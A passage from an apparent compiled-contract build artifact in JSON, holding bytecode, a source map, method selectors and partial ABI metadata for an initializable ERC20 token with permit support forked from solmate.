3b925910160405180910390a35050505050505050565b5f6109988061083063ffffffff8216565b9250505090565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516108679190610d9f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661089861081f565b604080516020810195909552840192909252606083015260808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f818310156109295760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207375627472616374696f6e20756e646572666c6f7700000000604482015260640161036d565b6109338284610e11565b9392505050565b5f806109468385610e24565b9050838110156109335760405162461bcd60e51b815260206004820152601860248201527f45524332303a206164646974696f6e206f766572666c6f770000000000000000604482015260640161036d565b4690565b5f602080835283518060208501525f5b818110156109c8578581018301518582016040015282016109ac565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109fe575f80fd5b919050565b5f8060408385031215610a14575f80fd5b610a1d836109e8565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610a4e575f80fd5b813567ffffffffffffffff80821115610a6957610a69610a2b565b604051601f8301601f19908116603f01168101908282118183101715610a9157610a91610a2b565b81604052838152866020858801011115610aa9575f80fd5b836020870160208301375f602085830101528094505050505092915050565b803560ff811681146109fe575f80fd5b5f805f60608486031215610aea575f80fd5b833567ffffffffffffffff80821115610b01575f80fd5b610b0d87838801610a3f565b94506020860135915080821115610b22575f80fd5b50610b2f86828701610a3f565b925050610b3e60408501610ac8565b90509250925092565b5f805f60608486031215610b59575f80fd5b610b62846109e8565b9250610b70602085016109e8565b9150604084013590509250925092565b5f60208284031215610b90575f80fd5b610933826109e8565b5f805f805f805f60e0888a031215610baf575f80fd5b610bb8886109e8565b9650610bc6602089016109e8565b95506040880135945060608801359350610be260808901610ac8565b925060a0880135915060c0880135905092959891949750929550565b5f8060408385031215610c0f575f80fd5b610c18836109e8565b9150610c26602084016109e8565b90509250929050565b600181811c90821680610c4357607f821691505b602082108103610c6157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610cae57805f5260205f20601f840160051c81016020851015610c8c5750805b601f840160051c820191505b81811015610cab575f8155600101610c98565b50505b505050565b815167ffffffffffffffff811115610ccd57610ccd610a2b565b610ce181610cdb8454610c2f565b84610c67565b602080601f831160018114610d14575f8415610cfd5750858301515b5f19600386901b1c1916600185901b178555610d6b565b5f85815260208120601f198616915b82811015610d4257888601518255948401946001909101908401610d23565b5085821015610d5f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b5f60018201610d9857610d98610d73565b5060010190565b5f808354610dac81610c2f565b60018281168015610dc45760018114610dd957610e05565b60ff1984168752821515830287019450610e05565b875f526020805f205f5b85811015610dfc5781548a820152908401908201610de3565b50505082870194505b50929695505050505050565b8181038181111561031857610318610d73565b8082018082111561031857610318610d7356fea2646970667358221220cd84810f4ae45f39dc185c6279bdff8a7d71a62a6e725de246cdefa874bab00464736f6c63430008180033","sourceMap":"369:7950:20:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100da575f3560e01c80633644e5151161008857806395d89b411161006357806395d89b41146101bd578063a9059cbb146101c5578063d505accf146101d8578063dd62ed3e146101eb575f80fd5b80633644e5151461016e57806370a08231146101765780637ecebe001461019e575f80fd5b806318160ddd116100b857806318160ddd1461013457806323b872dd14610146578063313ce56714610159575f80fd5b806306fdde03146100de578063095ea7b3146100fc5780631624f6c61461011f575b5f80fd5b6100e6610223565b6040516100f3919061099c565b60405180910390f35b61010f61010a366004610a03565b6102b2565b60405190151581526020016100f3565b61013261012d366004610ad8565b61031e565b005b6003545b6040519081526020016100f3565b61010f610154366004610b47565b6103c6565b60025460405160ff90911681526020016100f3565b6101386104d5565b610138610184366004610b80565b6001600160a01b03165f9081526004602052604090205490565b6101386101ac366004610b80565b60086020525f908152604090205481565b6100e66104fa565b61010f6101d3366004610a03565b610509565b6101326101e6366004610b99565b61059d565b6101386101f9366004610bfe565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60605f805461023190610c2f565b80601f016020809104026020016040519081016040528092919081815260200182805461025d90610c2f565b80156102a85780601f1061027f576101008083540402835291602001916102a8565b820191905f5260205f20905b81548152906001019060200180831161028b57829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061030c9086815260200190565b60405180910390a35060015b92915050565b60095460ff16156103765760405162461bcd60e51b815260206004820152601360248201527f414c52454144595f494e495449414c495a45440000000000000000000000000060448201526064015b60405180910390fd5b5f6103818482610cb3565b50600161038e8382610cb3565b506002805460ff191660ff83161790556103a661081f565b6006556103b1610837565b60075550506009805460ff1916600117905550565b6001600160a01b0383165f9081526005602090815260408083203384529091528120545f19811461041f576103fb81846108d8565b6001600160a01b0386165f9081526005602090815260408083203384529091529020555b6001600160a01b0385165f9081526004602052604090205461044190846108d8565b6001600160a01b038087165f90815260046020526040808220939093559086168152205461046f908461093a565b6001600160a01b038086165f8181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104c29087815260200190565b60405180910390a3506001949350505050565b5f6006546104e161081f565b146104f3576104ee610837565b905090565b5060075490565b60606001805461023190610c2f565b335f9081526004602052604081205461052290836108d8565b335f90815260046020526040808220929092556001600160a01b0385168152205461054d908361093a565b6001600160a01b0384165f818152600460205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061030c9086815260200190565b428410156105ed5760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161036d565b5f60016105f86104d5565b6001600160a01b038a165f90815260086020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9290919061064583610d87565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e001604051602081830303815290604052805190602001206040516020016106d99291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610734573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b0381161580159061076a5750876001600160a01b0316816001600160a01b0316145b6107b65760405162461bcd60e51b815260206004820152600e60248201527f494e56414c49445f5349474e4552000000000000000000000000000000000000604482015260640161036d565b6001600160a01b038181165f9081526005602090815260408083208b8516808552908352928190208a90555189815291928b16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b5f6109988061083063ffffffff8216565b9250505090565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516108679190610d9f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661089861081f565b604080516020810195909552840192909252606083015260808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f818310156109295760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207375627472616374696f6e20756e646572666c6f7700000000604482015260640161036d565b6109338284610e11565b9392505050565b5f806109468385610e24565b9050838110156109335760405162461bcd60e51b815260206004820152601860248201527f45524332303a206164646974696f6e206f766572666c6f770000000000000000604482015260640161036d565b4690565b5f602080835283518060208501525f5b818110156109c8578581018301518582016040015282016109ac565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109fe575f80fd5b919050565b5f8060408385031215610a14575f80fd5b610a1d836109e8565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610a4e575f80fd5b813567ffffffffffffffff80821115610a6957610a69610a2b565b604051601f8301601f19908116603f01168101908282118183101715610a9157610a91610a2b565b81604052838152866020858801011115610aa9575f80fd5b836020870160208301375f602085830101528094505050505092915050565b803560ff811681146109fe575f80fd5b5f805f60608486031215610aea575f80fd5b833567ffffffffffffffff80821115610b01575f80fd5b610b0d87838801610a3f565b94506020860135915080821115610b22575f80fd5b50610b2f86828701610a3f565b925050610b3e60408501610ac8565b90509250925092565b5f805f60608486031215610b59575f80fd5b610b62846109e8565b9250610b70602085016109e8565b9150604084013590509250925092565b5f60208284031215610b90575f80fd5b610933826109e8565b5f805f805f805f60e0888a031215610baf575f80fd5b610bb8886109e8565b9650610bc6602089016109e8565b95506040880135945060608801359350610be260808901610ac8565b925060a0880135915060c0880135905092959891949750929550565b5f8060408385031215610c0f575f80fd5b610c18836109e8565b9150610c26602084016109e8565b90509250929050565b600181811c90821680610c4357607f821691505b602082108103610c6157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610cae57805f5260205f20601f840160051c81016020851015610c8c5750805b601f840160051c820191505b81811015610cab575f8155600101610c98565b50505b505050565b815167ffffffffffffffff811115610ccd57610ccd610a2b565b610ce181610cdb8454610c2f565b84610c67565b602080601f831160018114610d14575f8415610cfd5750858301515b5f19600386901b1c1916600185901b178555610d6b565b5f85815260208120601f198616915b82811015610d4257888601518255948401946001909101908401610d23565b5085821015610d5f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b5f60018201610d9857610d98610d73565b5060010190565b5f808354610dac81610c2f565b60018281168015610dc45760018114610dd957610e05565b60ff1984168752821515830287019450610e05565b875f526020805f205f5b85811015610dfc5781548a820152908401908201610de3565b50505082870194505b50929695505050505050565b8181038181111561031857610318610d73565b8082018082111561031857610318610d7356fea2646970667358221220cd84810f4ae45f39dc185c6279bdff8a7d71a62a6e725de246cdefa874bab00464736f6c63430008180033","sourceMap":"369:7950:20:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;677:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3057:221;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:155;;1185:22;1167:41;;1155:2;1140:18;3057:221:20;1027:187:155;2504:365:20;;;;;;:::i;:::-;;:::i;:::-;;1322:100;1403:12;;1322:100;;;3057:25:155;;;3045:2;3030:18;1322:100:20;2911:177:155;3578:472:20;;;;;;:::i;:::-;;:::i;877:92::-;953:9;;877:92;;953:9;;;;3568:36:155;;3556:2;3541:18;877:92:20;3426:184:155;5427:178:20;;;:::i;1428:116::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1520:17:20;1494:7;1520:17;;;:10;:17;;;;;;;1428:116;1970:41;;;;;;:::i;:::-;;;;;;;;;;;;;;775:96;;;:::i;3284:288::-;;;;;;:::i;:::-;;:::i;4239:1182::-;;;;;;:::i;:::-;;:::i;1550:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1659:17:20;;;1633:7;1659:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;1550:142;677:92;725:13;757:5;750:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;677:92;:::o;3057:221::-;3167:10;3140:4;3156:22;;;:10;:22;;;;;;;;-1:-1:-1;;;;;3156:31:20;;;;;;;;;;:40;;;3212:37;3140:4;;3156:31;;3212:37;;;;3190:6;3057:25:155;;3045:2;3030:18;;2911:177;3212:37:20;;;;;;;;-1:-1:-1;3267:4:20;3057:221;;;;;:::o;2504:365::-;2611:11;;;;2610:12;2602:44;;;;-1:-1:-1;;;2602:44:20;;5508:2:155;2602:44:20;;;5490:21:155;5547:2;5527:18;;;5520:30;5586:21;5566:18;;;5559:49;5625:18;;2602:44:20;;;;;;;;;2657:5;:13;2665:5;2657;:13;:::i;:::-;-1:-1:-1;2680:7:20;:17;2690:7;2680;:17;:::i;:::-;-1:-1:-1;2707:9:20;:21;;-1:-1:-1;;2707:21:20;;;;;;;2758:14;:12;:14::i;:::-;2739:16;:33;2809:24;:22;:24::i;:::-;2782;:51;-1:-1:-1;;2844:11:20;:18;;-1:-1:-1;;2844:18:20;2858:4;2844:18;;;-1:-1:-1;2504:365:20:o;3578:472::-;-1:-1:-1;;;;;3709:16:20;;3675:4;3709:16;;;:10;:16;;;;;;;;3726:10;3709:28;;;;;;;;-1:-1:-1;;3788:22:20;;3784:80;;3843:21;3848:7;3857:6;3843:4;:21::i;:::-;-1:-1:-1;;;;;3812:16:20;;;;;;:10;:16;;;;;;;;3829:10;3812:28;;;;;;;:52;3784:80;-1:-1:-1;;;;;3899:16:20;;;;;;:10;:16;;;;;;3894:30;;3917:6;3894:4;:30::i;:::-;-1:-1:-1;;;;;3875:16:20;;;;;;;:10;:16;;;;;;:49;;;;3956:14;;;;;;;3951:28;;3972:6;3951:4;:28::i;:::-;-1:-1:-1;;;;;3934:14:20;;;;;;;:10;:14;;;;;;;:45;;;;3995:26;;;;;;;;;;4014:6;3057:25:155;;3045:2;3030:18;;2911:177;3995:26:20;;;;;;;;-1:-1:-1;4039:4:20;;3578:472;-1:-1:-1;;;;3578:472:20:o;5427:178::-;5484:7;5528:16;;5510:14;:12;:14::i;:::-;:34;:88;;5574:24;:22;:24::i;:::-;5503:95;;5427:178;:::o;5510:88::-;-1:-1:-1;5547:24:20;;;5427:178::o;775:96::-;825:13;857:7;850:14;;;;;:::i;3284:288::-;3420:10;3363:4;3409:22;;;:10;:22;;;;;;3404:36;;3433:6;3404:4;:36::i;:::-;3390:10;3379:22;;;;:10;:22;;;;;;:61;;;;-1:-1:-1;;;;;3472:14:20;;;;;;3467:28;;3488:6;3467:4;:28::i;:::-;-1:-1:-1;;;;;3450:14:20;;;;;;:10;:14;;;;;;;:45;;;;3511:32;;3520:10;;3511:32;;;;3536:6;3057:25:155;;3045:2;3030:18;;2911:177;4239:1182:20;4416:15;4404:8;:27;;4396:63;;;;-1:-1:-1;;;4396:63:20;;8026:2:155;4396:63:20;;;8008:21:155;8065:2;8045:18;;;8038:30;8104:25;8084:18;;;8077:53;8147:18;;4396:63:20;7824:347:155;4396:63:20;4470:24;4497:717;4617:18;:16;:18::i;:::-;-1:-1:-1;;;;;5026:13:20;;;;;;:6;:13;;;;;:15;;4732:157;;4919:5;;4954:7;;4991:5;;5026:15;;:13;:15;;;:::i;:::-;;;;-1:-1:-1;4692:413:20;;;;;;8792:25:155;;;;-1:-1:-1;;;;;8914:15:155;;;8894:18;;;8887:43;8966:15;;;;8946:18;;;8939:43;8998:18;;;8991:34;9041:19;;;9034:35;9085:19;;;9078:35;;;8764:19;;4692:413:20;;;;;;;;;;;;4657:470;;;;;;4547:598;;;;;;;;9394:66:155;9382:79;;9486:1;9477:11;;9470:27;;;;9522:2;9513:12;;9506:28;9559:2;9550:12;;9124:444;4547:598:20;;;;-1:-1:-1;;4547:598:20;;;;;;;;;4520:639;;4547:598;4520:639;;;;4497:717;;;;;;;;;9800:25:155;9873:4;9861:17;;9841:18;;;9834:45;9895:18;;;9888:34;;;9938:18;;;9931:34;;;9772:19;;4497:717:20;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4497:717:20;;-1:-1:-1;;4497:717:20;;;-1:-1:-1;;;;;;;5233:30:20;;;;;;:59;;;5287:5;-1:-1:-1;;;;;5267:25:20;:16;-1:-1:-1;;;;;5267:25:20;;5233:59;5225:86;;;;-1:-1:-1;;;5225:86:20;;10178:2:155;5225:86:20;;;10160:21:155;10217:2;10197:18;;;10190:30;10256:16;10236:18;;;10229:44;10290:18;;5225:86:20;9976:338:155;5225:86:20;-1:-1:-1;;;;;5322:28:20;;;;;;;:10;:28;;;;;;;;:37;;;;;;;;;;;;;:45;;;5383:31;3057:25:155;;;5322:37:20;;5383:31;;;;;3030:18:155;5383:31:20;;;;;;;4386:1035;4239:1182;;;;;;;:::o;8017:300::-;8063:15;8140:12;;8297:13;;;;:::i;:::-;8287:23;;8080:237;;8017:300;:::o;5611:404::-;5676:7;5753:95;5882:5;5866:23;;;;;;:::i;:::-;;;;;;;;5907:14;5939;:12;:14::i;:::-;5725:273;;;;;;11428:25:155;;;;11469:18;;11462:34;;;;11512:18;;;11505:34;11555:18;;;11548:34;5979:4:20;11598:19:155;;;11591:84;11400:19;;5725:273:20;;;;;;;;;;;;5702:306;;;;;;5695:313;;5611:404;:::o;7038:154::-;7097:7;7129:1;7124;:6;;7116:47;;;;-1:-1:-1;;;7116:47:20;;11888:2:155;7116:47:20;;;11870:21:155;11927:2;11907:18;;;11900:30;11966;11946:18;;;11939:58;12014:18;;7116:47:20;11686:352:155;7116:47:20;7180:5;7184:1;7180;:5;:::i;:::-;7173:12;7038:154;-1:-1:-1;;;7038:154:20:o;6859:173::-;6918:7;;6949:5;6953:1;6949;:5;:::i;:::-;6937:17;;6977:1;6972;:6;;6964:43;;;;-1:-1:-1;;;6964:43:20;;12508:2:155;6964:43:20;;;12490:21:155;12547:2;12527:18;;;12520:30;12586:26;12566:18;;;12559:54;12630:18;;6964:43:20;12306:348:155;7735:276:20;7918:9;;7735:276::o;14:548:155:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:155;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:155:o;1219:184::-;-1:-1:-1;;;1268:1:155;1261:88;1368:4;1365:1;1358:15;1392:4;1389:1;1382:15;1408:719;1451:5;1504:3;1497:4;1489:6;1485:17;1481:27;1471:55;;1522:1;1519;1512:12;1471:55;1558:6;1545:20;1584:18;1621:2;1617;1614:10;1611:36;;;1627:18;;:::i;:::-;1702:2;1696:9;1670:2;1756:13;;-1:-1:-1;;1752:22:155;;;1776:2;1748:31;1744:40;1732:53;;;1800:18;;;1820:22;;;1797:46;1794:72;;;1846:18;;:::i;:::-;1886:10;1882:2;1875:22;1921:2;1913:6;1906:18;1967:3;1960:4;1955:2;1947:6;1943:15;1939:26;1936:35;1933:55;;;1984:1;1981;1974:12;1933:55;2048:2;2041:4;2033:6;2029:17;2022:4;2014:6;2010:17;1997:54;2095:1;2088:4;2083:2;2075:6;2071:15;2067:26;2060:37;2115:6;2106:15;;;;;;1408:719;;;;:::o;2132:156::-;2198:20;;2258:4;2247:16;;2237:27;;2227:55;;2278:1;2275;2268:12;2293:613;2388:6;2396;2404;2457:2;2445:9;2436:7;2432:23;2428:32;2425:52;;;2473:1;2470;2463:12;2425:52;2513:9;2500:23;2542:18;2583:2;2575:6;2572:14;2569:34;;;2599:1;2596;2589:12;2569:34;2622:50;2664:7;2655:6;2644:9;2640:22;2622:50;:::i;:::-;2612:60;;2725:2;2714:9;2710:18;2697:32;2681:48;;2754:2;2744:8;2741:16;2738:36;;;2770:1;2767;2760:12;2738:36;;2793:52;2837:7;2826:8;2815:9;2811:24;2793:52;:::i;:::-;2783:62;;;2864:36;2896:2;2885:9;2881:18;2864:36;:::i;:::-;2854:46;;2293:613;;;;;:::o;3093:328::-;3170:6;3178;3186;3239:2;3227:9;3218:7;3214:23;3210:32;3207:52;;;3255:1;3252;3245:12;3207:52;3278:29;3297:9;3278:29;:::i;:::-;3268:39;;3326:38;3360:2;3349:9;3345:18;3326:38;:::i;:::-;3316:48;;3411:2;3400:9;3396:18;3383:32;3373:42;;3093:328;;;;;:::o;3797:186::-;3856:6;3909:2;3897:9;3888:7;3884:23;3880:32;3877:52;;;3925:1;3922;3915:12;3877:52;3948:29;3967:9;3948:29;:::i;3988:606::-;4099:6;4107;4115;4123;4131;4139;4147;4200:3;4188:9;4179:7;4175:23;4171:33;4168:53;;;4217:1;4214;4207:12;4168:53;4240:29;4259:9;4240:29;:::i;:::-;4230:39;;4288:38;4322:2;4311:9;4307:18;4288:38;:::i;:::-;4278:48;;4373:2;4362:9;4358:18;4345:32;4335:42;;4424:2;4413:9;4409:18;4396:32;4386:42;;4447:37;4479:3;4468:9;4464:19;4447:37;:::i;:::-;4437:47;;4531:3;4520:9;4516:19;4503:33;4493:43;;4583:3;4572:9;4568:19;4555:33;4545:43;;3988:606;;;;;;;;;;:::o;4599:260::-;4667:6;4675;4728:2;4716:9;4707:7;4703:23;4699:32;4696:52;;;4744:1;4741;4734:12;4696:52;4767:29;4786:9;4767:29;:::i;:::-;4757:39;;4815:38;4849:2;4838:9;4834:18;4815:38;:::i;:::-;4805:48;;4599:260;;;;;:::o;4864:437::-;4943:1;4939:12;;;;4986;;;5007:61;;5061:4;5053:6;5049:17;5039:27;;5007:61;5114:2;5106:6;5103:14;5083:18;5080:38;5077:218;;-1:-1:-1;;;5148:1:155;5141:88;5252:4;5249:1;5242:15;5280:4;5277:1;5270:15;5077:218;;4864:437;;;:::o;5780:518::-;5882:2;5877:3;5874:11;5871:421;;;5918:5;5915:1;5908:16;5962:4;5959:1;5949:18;6032:2;6020:10;6016:19;6013:1;6009:27;6003:4;5999:38;6068:4;6056:10;6053:20;6050:47;;;-1:-1:-1;6091:4:155;6050:47;6146:2;6141:3;6137:12;6134:1;6130:20;6124:4;6120:31;6110:41;;6201:81;6219:2;6212:5;6209:13;6201:81;;;6278:1;6264:16;;6245:1;6234:13;6201:81;;;6205:3;;5871:421;5780:518;;;:::o;6474:1345::-;6600:3;6594:10;6627:18;6619:6;6616:30;6613:56;;;6649:18;;:::i;:::-;6678:97;6768:6;6728:38;6760:4;6754:11;6728:38;:::i;:::-;6722:4;6678:97;:::i;:::-;6830:4;;6887:2;6876:14;;6904:1;6899:663;;;;7606:1;7623:6;7620:89;;;-1:-1:-1;7675:19:155;;;7669:26;7620:89;-1:-1:-1;;6431:1:155;6427:11;;;6423:24;6419:29;6409:40;6455:1;6451:11;;;6406:57;7722:81;;6869:944;;6899:663;5727:1;5720:14;;;5764:4;5751:18;;-1:-1:-1;;6935:20:155;;;7053:236;7067:7;7064:1;7061:14;7053:236;;;7156:19;;;7150:26;7135:42;;7248:27;;;;7216:1;7204:14;;;;7083:19;;7053:236;;;7057:3;7317:6;7308:7;7305:19;7302:201;;;7378:19;;;7372:26;-1:-1:-1;;7461:1:155;7457:14;;;7473:3;7453:24;7449:37;7445:42;7430:58;7415:74;;7302:201;;;7549:1;7540:6;7537:1;7533:14;7529:22;7523:4;7516:36;6869:944;;;;;6474:1345;;:::o;8176:184::-;-1:-1:-1;;;8225:1:155;8218:88;8325:4;8322:1;8315:15;8349:4;8346:1;8339:15;8365:135;8404:3;8425:17;;;8422:43;;8445:18;;:::i;:::-;-1:-1:-1;8492:1:155;8481:13;;8365:135::o;10319:845::-;10449:3;10478:1;10511:6;10505:13;10541:36;10567:9;10541:36;:::i;:::-;10596:1;10613:17;;;10639:133;;;;10786:1;10781:358;;;;10606:533;;10639:133;-1:-1:-1;;10672:24:155;;10660:37;;10745:14;;10738:22;10726:35;;10717:45;;;-1:-1:-1;10639:133:155;;10781:358;10812:6;10809:1;10802:17;10842:4;10887;10884:1;10874:18;10914:1;10928:165;10942:6;10939:1;10936:13;10928:165;;;11020:14;;11007:11;;;11000:35;11063:16;;;;10957:10;;10928:165;;;10932:3;;;11122:6;11117:3;11113:16;11106:23;;10606:533;-1:-1:-1;11155:3:155;;10319:845;-1:-1:-1;;;;;;10319:845:155:o;12043:128::-;12110:9;;;12131:11;;;12128:37;;;12145:18;;:::i;12176:125::-;12241:9;;;12262:10;;;12259:36;;;12275:18;;:::i","linkReferences":{}},"methodIdentifiers":{"DOMAIN_SEPARATOR()":"3644e515","allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","initialize(string,string,uint8)":"1624f6c6","name()":"06fdde03","nonces(address)":"7ecebe00","permit(address,address,uint256,uint256,uint8,bytes32,bytes32)":"d505accf","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"DOMAIN_SEPARATOR\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name_\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol_\",\"type\":\"string\"},{\"internalType\":\"uint8\",\"name\":\"decimals_\",\"type\":\"uint8\"}],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"nonces\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"permit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC20.sol\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set, where `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another 